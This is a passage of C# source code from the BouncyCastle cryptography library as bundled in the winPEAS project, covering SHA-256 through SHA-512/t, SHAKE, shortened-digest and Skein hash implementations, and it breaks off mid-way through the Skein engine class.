Sum0Maj(c, d, e); ++t; // t = 8 * i + 7 a += Sum1Ch(f, g, h) + K[t] + X[t]; e += a; a += Sum0Maj(b, c, d); ++t; } H1 += a; H2 += b; H3 += c; H4 += d; H5 += e; H6 += f; H7 += g; H8 += h; // // reset the offset and clean out the word buffer. // xOff = 0; Array.Clear(X, 0, 16); } private static uint Sum1Ch(uint x, uint y, uint z) { // return Sum1(x) + Ch(x, y, z); return (((x >> 6) | (x << 26)) ^ ((x >> 11) | (x << 21)) ^ ((x >> 25) | (x << 7))) //+ ((x & y) ^ ((~x) & z)); + (z ^ (x & (y ^ z))); } private static uint Sum0Maj(uint x, uint y, uint z) { // return Sum0(x) + Maj(x, y, z); return (((x >> 2) | (x << 30)) ^ ((x >> 13) | (x << 19)) ^ ((x >> 22) | (x << 10))) //+ ((x & y) ^ (x & z) ^ (y & z)); + ((x & y) | (z & (x ^ y))); } // /* SHA-256 functions */ // private static uint Ch(uint x, uint y, uint z) // { // return (x & y) ^ ((~x) & z); // //return z ^ (x & (y ^ z)); // } // // private static uint Maj(uint x, uint y, uint z) // { // //return (x & y) ^ (x & z) ^ (y & z); // return (x & y) | (z & (x ^ y)); // } // // private static uint Sum0(uint x) // { // return ((x >> 2) | (x << 30)) ^ ((x >> 13) | (x << 19)) ^ ((x >> 22) | (x << 10)); // } // // private static uint Sum1(uint x) // { // return ((x >> 6) | (x << 26)) ^ ((x >> 11) | (x << 21)) ^ ((x >> 25) | (x << 7)); // } private static uint Theta0(uint x) { return ((x >> 7) | (x << 25)) ^ ((x >> 18) | (x << 14)) ^ (x >> 3); } private static uint Theta1(uint x) { return ((x >> 17) | (x << 15)) ^ ((x >> 19) | (x << 13)) ^ (x >> 10); } /* SHA-256 Constants * (represent the first 32 bits of the fractional parts of the * cube roots of the first sixty-four prime numbers) */ private static readonly uint[] K = { 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 }; public override IMemoable Copy() { return new Sha256Digest(this); } public override void Reset(IMemoable other) { Sha256Digest d = (Sha256Digest)other; CopyIn(d); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/Sha384Digest.cs ================================================ using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /** * Draft FIPS 180-2 implementation of SHA-384. Note: As this is * based on a draft this implementation is subject to change. * *
         *         block  word  digest
         * SHA-1   512    32    160
         * SHA-256 512    32    256
         * SHA-384 1024   64    384
         * SHA-512 1024   64    512
         * 
    */ public class Sha384Digest : LongDigest { private const int DigestLength = 48; public Sha384Digest() { } /** * Copy constructor. This will copy the state of the provided * message digest. */ public Sha384Digest( Sha384Digest t) : base(t) { } public override string AlgorithmName { get { return "SHA-384"; } } public override int GetDigestSize() { return DigestLength; } public override int DoFinal( byte[] output, int outOff) { Finish(); Pack.UInt64_To_BE(H1, output, outOff); Pack.UInt64_To_BE(H2, output, outOff + 8); Pack.UInt64_To_BE(H3, output, outOff + 16); Pack.UInt64_To_BE(H4, output, outOff + 24); Pack.UInt64_To_BE(H5, output, outOff + 32); Pack.UInt64_To_BE(H6, output, outOff + 40); Reset(); return DigestLength; } /** * reset the chaining variables */ public override void Reset() { base.Reset(); /* SHA-384 initial hash value * The first 64 bits of the fractional parts of the square roots * of the 9th through 16th prime numbers */ H1 = 0xcbbb9d5dc1059ed8; H2 = 0x629a292a367cd507; H3 = 0x9159015a3070dd17; H4 = 0x152fecd8f70e5939; H5 = 0x67332667ffc00b31; H6 = 0x8eb44a8768581511; H7 = 0xdb0c2e0d64f98fa7; H8 = 0x47b5481dbefa4fa4; } public override IMemoable Copy() { return new Sha384Digest(this); } public override void Reset(IMemoable other) { Sha384Digest d = (Sha384Digest)other; CopyIn(d); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/Sha512Digest.cs ================================================ using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /** * Draft FIPS 180-2 implementation of SHA-512. Note: As this is * based on a draft this implementation is subject to change. * *
         *         block  word  digest
         * SHA-1   512    32    160
         * SHA-256 512    32    256
         * SHA-384 1024   64    384
         * SHA-512 1024   64    512
         * 
    */ public class Sha512Digest : LongDigest { private const int DigestLength = 64; public Sha512Digest() { } /** * Copy constructor. This will copy the state of the provided * message digest. */ public Sha512Digest( Sha512Digest t) : base(t) { } public override string AlgorithmName { get { return "SHA-512"; } } public override int GetDigestSize() { return DigestLength; } public override int DoFinal( byte[] output, int outOff) { Finish(); Pack.UInt64_To_BE(H1, output, outOff); Pack.UInt64_To_BE(H2, output, outOff + 8); Pack.UInt64_To_BE(H3, output, outOff + 16); Pack.UInt64_To_BE(H4, output, outOff + 24); Pack.UInt64_To_BE(H5, output, outOff + 32); Pack.UInt64_To_BE(H6, output, outOff + 40); Pack.UInt64_To_BE(H7, output, outOff + 48); Pack.UInt64_To_BE(H8, output, outOff + 56); Reset(); return DigestLength; } /** * reset the chaining variables */ public override void Reset() { base.Reset(); /* SHA-512 initial hash value * The first 64 bits of the fractional parts of the square roots * of the first eight prime numbers */ H1 = 0x6a09e667f3bcc908; H2 = 0xbb67ae8584caa73b; H3 = 0x3c6ef372fe94f82b; H4 = 0xa54ff53a5f1d36f1; H5 = 0x510e527fade682d1; H6 = 0x9b05688c2b3e6c1f; H7 = 0x1f83d9abfb41bd6b; H8 = 0x5be0cd19137e2179; } public override IMemoable Copy() { return new Sha512Digest(this); } public override void Reset(IMemoable other) { Sha512Digest d = (Sha512Digest)other; CopyIn(d); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/Sha512tDigest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /** * FIPS 180-4 implementation of SHA-512/t */ public class Sha512tDigest : LongDigest { private const ulong A5 = 0xa5a5a5a5a5a5a5a5UL; private readonly int digestLength; private ulong H1t, H2t, H3t, H4t, H5t, H6t, H7t, H8t; /** * Standard constructor */ public Sha512tDigest(int bitLength) { if (bitLength >= 512) throw new ArgumentException("cannot be >= 512", "bitLength"); if (bitLength % 8 != 0) throw new ArgumentException("needs to be a multiple of 8", "bitLength"); if (bitLength == 384) throw new ArgumentException("cannot be 384 use SHA384 instead", "bitLength"); this.digestLength = bitLength / 8; tIvGenerate(digestLength * 8); Reset(); } /** * Copy constructor. This will copy the state of the provided * message digest. */ public Sha512tDigest(Sha512tDigest t) : base(t) { this.digestLength = t.digestLength; Reset(t); } public override string AlgorithmName { get { return "SHA-512/" + (digestLength * 8); } } public override int GetDigestSize() { return digestLength; } public override int DoFinal(byte[] output, int outOff) { Finish(); UInt64_To_BE(H1, output, outOff, digestLength); UInt64_To_BE(H2, output, outOff + 8, digestLength - 8); UInt64_To_BE(H3, output, outOff + 16, digestLength - 16); UInt64_To_BE(H4, output, outOff + 24, digestLength - 24); UInt64_To_BE(H5, output, outOff + 32, digestLength - 32); UInt64_To_BE(H6, output, outOff + 40, digestLength - 40); UInt64_To_BE(H7, output, outOff + 48, digestLength - 48); UInt64_To_BE(H8, output, outOff + 56, digestLength - 56); Reset(); return digestLength; } /** * reset the chaining variables */ public override void Reset() { base.Reset(); /* * initial hash values use the iv generation algorithm for t. */ H1 = H1t; H2 = H2t; H3 = H3t; H4 = H4t; H5 = H5t; H6 = H6t; H7 = H7t; H8 = H8t; } private void tIvGenerate(int bitLength) { H1 = 0x6a09e667f3bcc908UL ^ A5; H2 = 0xbb67ae8584caa73bUL ^ A5; H3 = 0x3c6ef372fe94f82bUL ^ A5; H4 = 0xa54ff53a5f1d36f1UL ^ A5; H5 = 0x510e527fade682d1UL ^ A5; H6 = 0x9b05688c2b3e6c1fUL ^ A5; H7 = 0x1f83d9abfb41bd6bUL ^ A5; H8 = 0x5be0cd19137e2179UL ^ A5; Update(0x53); Update(0x48); Update(0x41); Update(0x2D); Update(0x35); Update(0x31); Update(0x32); Update(0x2F); if (bitLength > 100) { Update((byte)(bitLength / 100 + 0x30)); bitLength = bitLength % 100; Update((byte)(bitLength / 10 + 0x30)); bitLength = bitLength % 10; Update((byte)(bitLength + 0x30)); } else if (bitLength > 10) { Update((byte)(bitLength / 10 + 0x30)); bitLength = bitLength % 10; Update((byte)(bitLength + 0x30)); } else { Update((byte)(bitLength + 0x30)); } Finish(); H1t = H1; H2t = H2; H3t = H3; H4t = H4; H5t = H5; H6t = H6; H7t = H7; H8t = H8; } private static void UInt64_To_BE(ulong n, byte[] bs, int off, int max) { if (max > 0) { UInt32_To_BE((uint)(n >> 32), bs, off, max); if (max > 4) { UInt32_To_BE((uint)n, bs, off + 4, max - 4); } } } private static void UInt32_To_BE(uint n, byte[] bs, int off, int max) { int num = System.Math.Min(4, max); while (--num >= 0) { int shift = 8 * (3 - num); bs[off + num] = (byte)(n >> shift); } } public override IMemoable Copy() { return new Sha512tDigest(this); } public override void Reset(IMemoable other) { Sha512tDigest t = (Sha512tDigest)other; if (this.digestLength != t.digestLength) { throw new MemoableResetException("digestLength inappropriate in other"); } base.CopyIn(t); this.H1t = t.H1t; this.H2t = t.H2t; this.H3t = t.H3t; this.H4t = t.H4t; this.H5t = t.H5t; this.H6t = t.H6t; this.H7t = t.H7t; this.H8t = t.H8t; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/ShakeDigest.cs ================================================ using System; using System.Diagnostics; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /// /// Implementation of SHAKE based on following KeccakNISTInterface.c from http://keccak.noekeon.org/ /// /// /// Following the naming conventions used in the C source code to enable easy review of the implementation. /// public class ShakeDigest : KeccakDigest, IXof { private static int CheckBitLength(int bitLength) { switch (bitLength) { case 128: case 256: return bitLength; default: throw new ArgumentException(bitLength + " not supported for SHAKE", "bitLength"); } } public ShakeDigest() : this(128) { } public ShakeDigest(int bitLength) : base(CheckBitLength(bitLength)) { } public ShakeDigest(ShakeDigest source) : base(source) { } public override string AlgorithmName { get { return "SHAKE" + fixedOutputLength; } } public override int DoFinal(byte[] output, int outOff) { return DoFinal(output, outOff, GetDigestSize()); } public virtual int DoFinal(byte[] output, int outOff, int outLen) { DoOutput(output, outOff, outLen); Reset(); return outLen; } public virtual int DoOutput(byte[] output, int outOff, int outLen) { if (!squeezing) { AbsorbBits(0x0F, 4); } Squeeze(output, outOff, (long)outLen << 3); return outLen; } /* * TODO Possible API change to support partial-byte suffixes. */ protected override int DoFinal(byte[] output, int outOff, byte partialByte, int partialBits) { return DoFinal(output, outOff, GetDigestSize(), partialByte, partialBits); } /* * TODO Possible API change to support partial-byte suffixes. */ protected virtual int DoFinal(byte[] output, int outOff, int outLen, byte partialByte, int partialBits) { if (partialBits < 0 || partialBits > 7) throw new ArgumentException("must be in the range [0,7]", "partialBits"); int finalInput = (partialByte & ((1 << partialBits) - 1)) | (0x0F << partialBits); Debug.Assert(finalInput >= 0); int finalBits = partialBits + 4; if (finalBits >= 8) { Absorb((byte)finalInput); finalBits -= 8; finalInput >>= 8; } if (finalBits > 0) { AbsorbBits(finalInput, finalBits); } Squeeze(output, outOff, (long)outLen << 3); Reset(); return outLen; } public override IMemoable Copy() { return new ShakeDigest(this); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/ShortenedDigest.cs ================================================ using System; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /** * Wrapper class that reduces the output length of a particular digest to * only the first n bytes of the digest function. */ public class ShortenedDigest : IDigest { private IDigest baseDigest; private int length; /** * Base constructor. * * @param baseDigest underlying digest to use. * @param length length in bytes of the output of doFinal. * @exception ArgumentException if baseDigest is null, or length is greater than baseDigest.GetDigestSize(). */ public ShortenedDigest( IDigest baseDigest, int length) { if (baseDigest == null) { throw new ArgumentNullException("baseDigest"); } if (length > baseDigest.GetDigestSize()) { throw new ArgumentException("baseDigest output not large enough to support length"); } this.baseDigest = baseDigest; this.length = length; } public string AlgorithmName { get { return baseDigest.AlgorithmName + "(" + length * 8 + ")"; } } public int GetDigestSize() { return length; } public void Update(byte input) { baseDigest.Update(input); } public void BlockUpdate(byte[] input, int inOff, int length) { baseDigest.BlockUpdate(input, inOff, length); } public int DoFinal(byte[] output, int outOff) { byte[] tmp = new byte[baseDigest.GetDigestSize()]; baseDigest.DoFinal(tmp, 0); Array.Copy(tmp, 0, output, outOff, length); return length; } public void Reset() { baseDigest.Reset(); } public int GetByteLength() { return baseDigest.GetByteLength(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/SkeinDigest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.parameters; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /// /// Implementation of the Skein parameterised hash function in 256, 512 and 1024 bit block sizes, /// based on the Threefish tweakable block cipher. /// /// /// This is the 1.3 version of Skein defined in the Skein hash function submission to the NIST SHA-3 /// competition in October 2010. ///

    /// Skein was designed by Niels Ferguson - Stefan Lucks - Bruce Schneier - Doug Whiting - Mihir /// Bellare - Tadayoshi Kohno - Jon Callas - Jesse Walker. /// /// /// public class SkeinDigest : IDigest, IMemoable { ///

    /// 256 bit block size - Skein-256 /// public const int SKEIN_256 = SkeinEngine.SKEIN_256; /// /// 512 bit block size - Skein-512 /// public const int SKEIN_512 = SkeinEngine.SKEIN_512; /// /// 1024 bit block size - Skein-1024 /// public const int SKEIN_1024 = SkeinEngine.SKEIN_1024; private readonly SkeinEngine engine; /// /// Constructs a Skein digest with an internal state size and output size. /// /// the internal state size in bits - one of or /// . /// the output/digest size to produce in bits, which must be an integral number of /// bytes. public SkeinDigest(int stateSizeBits, int digestSizeBits) { this.engine = new SkeinEngine(stateSizeBits, digestSizeBits); Init(null); } public SkeinDigest(SkeinDigest digest) { this.engine = new SkeinEngine(digest.engine); } public void Reset(IMemoable other) { SkeinDigest d = (SkeinDigest)other; engine.Reset(d.engine); } public IMemoable Copy() { return new SkeinDigest(this); } public String AlgorithmName { get { return "Skein-" + (engine.BlockSize * 8) + "-" + (engine.OutputSize * 8); } } public int GetDigestSize() { return engine.OutputSize; } public int GetByteLength() { return engine.BlockSize; } /// /// Optionally initialises the Skein digest with the provided parameters. /// /// See for details on the parameterisation of the Skein hash function. /// the parameters to apply to this engine, or null to use no parameters. public void Init(SkeinParameters parameters) { engine.Init(parameters); } public void Reset() { engine.Reset(); } public void Update(byte inByte) { engine.Update(inByte); } public void BlockUpdate(byte[] inBytes, int inOff, int len) { engine.Update(inBytes, inOff, len); } public int DoFinal(byte[] outBytes, int outOff) { return engine.DoFinal(outBytes, outOff); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/SkeinEngine.cs ================================================ using System; using System.Collections; using winPEAS._3rdParty.BouncyCastle.crypto.engines; using winPEAS._3rdParty.BouncyCastle.crypto.parameters; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /// /// Implementation of the Skein family of parameterised hash functions in 256, 512 and 1024 bit block /// sizes, based on the Threefish tweakable block cipher. /// /// /// This is the 1.3 version of Skein defined in the Skein hash function submission to the NIST SHA-3 /// competition in October 2010. ///

    /// Skein was designed by Niels Ferguson - Stefan Lucks - Bruce Schneier - Doug Whiting - Mihir /// Bellare - Tadayoshi Kohno - Jon Callas - Jesse Walker. ///

    /// This implementation is the basis for and , implementing the /// parameter based configuration system that allows Skein to be adapted to multiple applications.
    /// Initialising the engine with allows standard and arbitrary parameters to /// be applied during the Skein hash function. ///

    /// Implemented: ///

      ///
    • 256, 512 and 1024 bit internal states.
    • ///
    • Full 96 bit input length.
    • ///
    • Parameters defined in the Skein specification, and arbitrary other pre and post message /// parameters.
    • ///
    • Arbitrary output size in 1 byte intervals.
    • ///
    ///

    /// Not implemented: ///

      ///
    • Sub-byte length input (bit padding).
    • ///
    • Tree hashing.
    • ///
    ///
    /// public class SkeinEngine : IMemoable { /// /// 256 bit block size - Skein-256 /// public const int SKEIN_256 = ThreefishEngine.BLOCKSIZE_256; /// /// 512 bit block size - Skein-512 /// public const int SKEIN_512 = ThreefishEngine.BLOCKSIZE_512; /// /// 1024 bit block size - Skein-1024 /// public const int SKEIN_1024 = ThreefishEngine.BLOCKSIZE_1024; // Minimal at present, but more complex when tree hashing is implemented private class Configuration { private byte[] bytes = new byte[32]; public Configuration(long outputSizeBits) { // 0..3 = ASCII SHA3 bytes[0] = (byte)'S'; bytes[1] = (byte)'H'; bytes[2] = (byte)'A'; bytes[3] = (byte)'3'; // 4..5 = version number in LSB order bytes[4] = 1; bytes[5] = 0; // 8..15 = output length ThreefishEngine.WordToBytes((ulong)outputSizeBits, bytes, 8); } public byte[] Bytes { get { return bytes; } } } public class Parameter { private int type; private byte[] value; public Parameter(int type, byte[] value) { this.type = type; this.value = value; } public int Type { get { return type; } } public byte[] Value { get { return value; } } } /** * The parameter type for the Skein key. */ private const int PARAM_TYPE_KEY = 0; /** * The parameter type for the Skein configuration block. */ private const int PARAM_TYPE_CONFIG = 4; /** * The parameter type for the message. */ private const int PARAM_TYPE_MESSAGE = 48; /** * The parameter type for the output transformation. */ private const int PARAM_TYPE_OUTPUT = 63; /** * Precalculated UBI(CFG) states for common state/output combinations without key or other * pre-message params. */ private static readonly IDictionary INITIAL_STATES = Platform.CreateHashtable(); static SkeinEngine() { // From Appendix C of the Skein 1.3 NIST submission InitialState(SKEIN_256, 128, new ulong[]{ 0xe1111906964d7260UL, 0x883daaa77c8d811cUL, 0x10080df491960f7aUL, 0xccf7dde5b45bc1c2UL}); InitialState(SKEIN_256, 160, new ulong[]{ 0x1420231472825e98UL, 0x2ac4e9a25a77e590UL, 0xd47a58568838d63eUL, 0x2dd2e4968586ab7dUL}); InitialState(SKEIN_256, 224, new ulong[]{ 0xc6098a8c9ae5ea0bUL, 0x876d568608c5191cUL, 0x99cb88d7d7f53884UL, 0x384bddb1aeddb5deUL}); InitialState(SKEIN_256, 256, new ulong[]{ 0xfc9da860d048b449UL, 0x2fca66479fa7d833UL, 0xb33bc3896656840fUL, 0x6a54e920fde8da69UL}); InitialState(SKEIN_512, 128, new ulong[]{ 0xa8bc7bf36fbf9f52UL, 0x1e9872cebd1af0aaUL, 0x309b1790b32190d3UL, 0xbcfbb8543f94805cUL, 0x0da61bcd6e31b11bUL, 0x1a18ebead46a32e3UL, 0xa2cc5b18ce84aa82UL, 0x6982ab289d46982dUL}); InitialState(SKEIN_512, 160, new ulong[]{ 0x28b81a2ae013bd91UL, 0xc2f11668b5bdf78fUL, 0x1760d8f3f6a56f12UL, 0x4fb747588239904fUL, 0x21ede07f7eaf5056UL, 0xd908922e63ed70b8UL, 0xb8ec76ffeccb52faUL, 0x01a47bb8a3f27a6eUL}); InitialState(SKEIN_512, 224, new ulong[]{ 0xccd0616248677224UL, 0xcba65cf3a92339efUL, 0x8ccd69d652ff4b64UL, 0x398aed7b3ab890b4UL, 0x0f59d1b1457d2bd0UL, 0x6776fe6575d4eb3dUL, 0x99fbc70e997413e9UL, 0x9e2cfccfe1c41ef7UL}); InitialState(SKEIN_512, 384, new ulong[]{ 0xa3f6c6bf3a75ef5fUL, 0xb0fef9ccfd84faa4UL, 0x9d77dd663d770cfeUL, 0xd798cbf3b468fddaUL, 0x1bc4a6668a0e4465UL, 0x7ed7d434e5807407UL, 0x548fc1acd4ec44d6UL, 0x266e17546aa18ff8UL}); InitialState(SKEIN_512, 512, new ulong[]{ 0x4903adff749c51ceUL, 0x0d95de399746df03UL, 0x8fd1934127c79bceUL, 0x9a255629ff352cb1UL, 0x5db62599df6ca7b0UL, 0xeabe394ca9d5c3f4UL, 0x991112c71a75b523UL, 0xae18a40b660fcc33UL}); } private static void InitialState(int blockSize, int outputSize, ulong[] state) { INITIAL_STATES.Add(VariantIdentifier(blockSize / 8, outputSize / 8), state); } private static int VariantIdentifier(int blockSizeBytes, int outputSizeBytes) { return (outputSizeBytes << 16) | blockSizeBytes; } private class UbiTweak { /** * Point at which position might overflow long, so switch to add with carry logic */ private const ulong LOW_RANGE = UInt64.MaxValue - UInt32.MaxValue; /** * Bit 127 = final */ private const ulong T1_FINAL = 1UL << 63; /** * Bit 126 = first */ private const ulong T1_FIRST = 1UL << 62; /** * UBI uses a 128 bit tweak */ private ulong[] tweak = new ulong[2]; /** * Whether 64 bit position exceeded */ private bool extendedPosition; public UbiTweak() { Reset(); } public void Reset(UbiTweak tweak) { this.tweak = Arrays.Clone(tweak.tweak, this.tweak); this.extendedPosition = tweak.extendedPosition; } public void Reset() { tweak[0] = 0; tweak[1] = 0; extendedPosition = false; First = true; } public uint Type { get { return (uint)((tweak[1] >> 56) & 0x3FUL); } set { // Bits 120..125 = type tweak[1] = (tweak[1] & 0xFFFFFFC000000000UL) | ((value & 0x3FUL) << 56); } } public bool First { get { return ((tweak[1] & T1_FIRST) != 0); } set { if (value) { tweak[1] |= T1_FIRST; } else { tweak[1] &= ~T1_FIRST; } } } public bool Final { get { return ((tweak[1] & T1_FINAL) != 0); } set { if (value) { tweak[1] |= T1_FINAL; } else { tweak[1] &= ~T1_FINAL; } } } /** * Advances the position in the tweak by the specified value. */ public void AdvancePosition(int advance) { // Bits 0..95 = position if (extendedPosition) { ulong[] parts = new ulong[3]; parts[0] = tweak[0] & 0xFFFFFFFFUL; parts[1] = (tweak[0] >> 32) & 0xFFFFFFFFUL; parts[2] = tweak[1] & 0xFFFFFFFFUL; ulong carry = (ulong)advance; for (int i = 0; i < parts.Length; i++) { carry += parts[i]; parts[i] = carry; carry >>= 32; } tweak[0] = ((parts[1] & 0xFFFFFFFFUL) << 32) | (parts[0] & 0xFFFFFFFFUL); tweak[1] = (tweak[1] & 0xFFFFFFFF00000000UL) | (parts[2] & 0xFFFFFFFFUL); } else { ulong position = tweak[0]; position += (uint)advance; tweak[0] = position; if (position > LOW_RANGE) { extendedPosition = true; } } } public ulong[] GetWords() { return tweak; } public override string ToString() { return Type + " first: " + First + ", final: " + Final; } } /** * The Unique Block Iteration chaining mode. */ // TODO: This might be better as methods... private class UBI { private readonly UbiTweak tweak = new UbiTweak(); private readonly SkeinEngine engine; /** * Buffer for the current block of message data */ private byte[] currentBlock; /** * Offset into the current message block */ private int currentOffset; /** * Buffer for message words for feedback into encrypted block */ private ulong[] message; public UBI(SkeinEngine engine, int blockSize) { this.engine = engine; currentBlock = new byte[blockSize]; message = new ulong[currentBlock.Length / 8]; } public void Reset(UBI ubi) { currentBlock = Arrays.Clone(ubi.currentBlock, currentBlock); currentOffset = ubi.currentOffset; message = Arrays.Clone(ubi.message, this.message); tweak.Reset(ubi.tweak); } public void Reset(int type) { tweak.Reset(); tweak.Type = (uint)type; currentOffset = 0; } public void Update(byte[] value, int offset, int len, ulong[] output) { /* * Buffer complete blocks for the underlying Threefish cipher, only flushing when there * are subsequent bytes (last block must be processed in doFinal() with final=true set). */ int copied = 0; while (len > copied) { if (currentOffset == currentBlock.Length) { ProcessBlock(output); tweak.First = false; currentOffset = 0; } int toCopy = System.Math.Min((len - copied), currentBlock.Length - currentOffset); Array.Copy(value, offset + copied, currentBlock, currentOffset, toCopy); copied += toCopy; currentOffset += toCopy; tweak.AdvancePosition(toCopy); } } private void ProcessBlock(ulong[] output) { engine.threefish.Init(true, engine.chain, tweak.GetWords()); for (int i = 0; i < message.Length; i++) { message[i] = ThreefishEngine.BytesToWord(currentBlock, i * 8); } engine.threefish.ProcessBlock(message, output); for (int i = 0; i < output.Length; i++) { output[i] ^= message[i]; } } public void DoFinal(ulong[] output) { // Pad remainder of current block with zeroes for (int i = currentOffset; i < currentBlock.Length; i++) { currentBlock[i] = 0; } tweak.Final = true; ProcessBlock(output); } } /** * Underlying Threefish tweakable block cipher */ private readonly ThreefishEngine threefish; /** * Size of the digest output, in bytes */ private readonly int outputSizeBytes; /** * The current chaining/state value */ private ulong[] chain; /** * The initial state value */ private ulong[] initialState; /** * The (optional) key parameter */ private byte[] key; /** * Parameters to apply prior to the message */ private Parameter[] preMessageParameters; /** * Parameters to apply after the message, but prior to output */ private Parameter[] postMessageParameters; /** * The current UBI operation */ private readonly UBI ubi; /** * Buffer for single byte update method */ private readonly byte[] singleByte = new byte[1]; /// /// Constructs a Skein digest with an internal state size and output size. /// /// the internal state size in bits - one of or /// . /// the output/digest size to produce in bits, which must be an integral number of /// bytes. public SkeinEngine(int blockSizeBits, int outputSizeBits) { if (outputSizeBits % 8 != 0) { throw new ArgumentException("Output size must be a multiple of 8 bits. :" + outputSizeBits); } // TODO: Prevent digest sizes > block size? this.outputSizeBytes = outputSizeBits / 8; this.threefish = new ThreefishEngine(blockSizeBits); this.ubi = new UBI(this,threefish.GetBlockSize()); } /// /// Creates a SkeinEngine as an exact copy of an existing instance. /// public SkeinEngine(SkeinEngine engine) : this(engine.BlockSize * 8, engine.OutputSize * 8) { CopyIn(engine); } private void CopyIn(SkeinEngine engine) { this.ubi.Reset(engine.ubi); this.chain = Arrays.Clone(engine.chain, this.chain); this.initialState = Arrays.Clone(engine.initialState, this.initialState); this.key = Arrays.Clone(engine.key, this.key); this.preMessageParameters = Clone(engine.preMessageParameters, this.preMessageParameters); this.postMessageParameters = Clone(engine.postMessageParameters, this.postMessageParameters); } private static Parameter[] Clone(Parameter[] data, Parameter[] existing) { if (data == null) { return null; } if ((existing == null) || (existing.Length != data.Length)) { existing = new Parameter[data.Length]; } Array.Copy(data, 0, existing, 0, existing.Length); return existing; } public IMemoable Copy() { return new SkeinEngine(this); } public void Reset(IMemoable other) { SkeinEngine s = (SkeinEngine)other; if ((BlockSize != s.BlockSize) || (outputSizeBytes != s.outputSizeBytes)) { throw new MemoableResetException("Incompatible parameters in provided SkeinEngine."); } CopyIn(s); } public int OutputSize { get { return outputSizeBytes; } } public int BlockSize { get { return threefish.GetBlockSize (); } } /// /// Initialises the Skein engine with the provided parameters. See for /// details on the parameterisation of the Skein hash function. /// /// the parameters to apply to this engine, or null to use no parameters. public void Init(SkeinParameters parameters) { this.chain = null; this.key = null; this.preMessageParameters = null; this.postMessageParameters = null; if (parameters != null) { byte[] key = parameters.GetKey(); if (key.Length < 16) { throw new ArgumentException("Skein key must be at least 128 bits."); } InitParams(parameters.GetParameters()); } CreateInitialState(); // Initialise message block UbiInit(PARAM_TYPE_MESSAGE); } private void InitParams(IDictionary parameters) { IEnumerator keys = parameters.Keys.GetEnumerator(); IList pre = Platform.CreateArrayList(); IList post = Platform.CreateArrayList(); while (keys.MoveNext()) { int type = (int)keys.Current; byte[] value = (byte[])parameters[type]; if (type == PARAM_TYPE_KEY) { this.key = value; } else if (type < PARAM_TYPE_MESSAGE) { pre.Add(new Parameter(type, value)); } else { post.Add(new Parameter(type, value)); } } preMessageParameters = new Parameter[pre.Count]; pre.CopyTo(preMessageParameters, 0); Array.Sort(preMessageParameters); postMessageParameters = new Parameter[post.Count]; post.CopyTo(postMessageParameters, 0); Array.Sort(postMessageParameters); } /** * Calculate the initial (pre message block) chaining state. */ private void CreateInitialState() { ulong[] precalc = (ulong[])INITIAL_STATES[VariantIdentifier(BlockSize, OutputSize)]; if ((key == null) && (precalc != null)) { // Precalculated UBI(CFG) chain = Arrays.Clone(precalc); } else { // Blank initial state chain = new ulong[BlockSize / 8]; // Process key block if (key != null) { UbiComplete(SkeinParameters.PARAM_TYPE_KEY, key); } // Process configuration block UbiComplete(PARAM_TYPE_CONFIG, new Configuration(outputSizeBytes * 8).Bytes); } // Process additional pre-message parameters if (preMessageParameters != null) { for (int i = 0; i < preMessageParameters.Length; i++) { Parameter param = preMessageParameters[i]; UbiComplete(param.Type, param.Value); } } initialState = Arrays.Clone(chain); } /// /// Reset the engine to the initial state (with the key and any pre-message parameters , ready to /// accept message input. /// public void Reset() { Array.Copy(initialState, 0, chain, 0, chain.Length); UbiInit(PARAM_TYPE_MESSAGE); } private void UbiComplete(int type, byte[] value) { UbiInit(type); this.ubi.Update(value, 0, value.Length, chain); UbiFinal(); } private void UbiInit(int type) { this.ubi.Reset(type); } private void UbiFinal() { ubi.DoFinal(chain); } private void CheckInitialised() { if (this.ubi == null) { throw new ArgumentException("Skein engine is not initialised."); } } public void Update(byte inByte) { singleByte[0] = inByte; Update(singleByte, 0, 1); } public void Update(byte[] 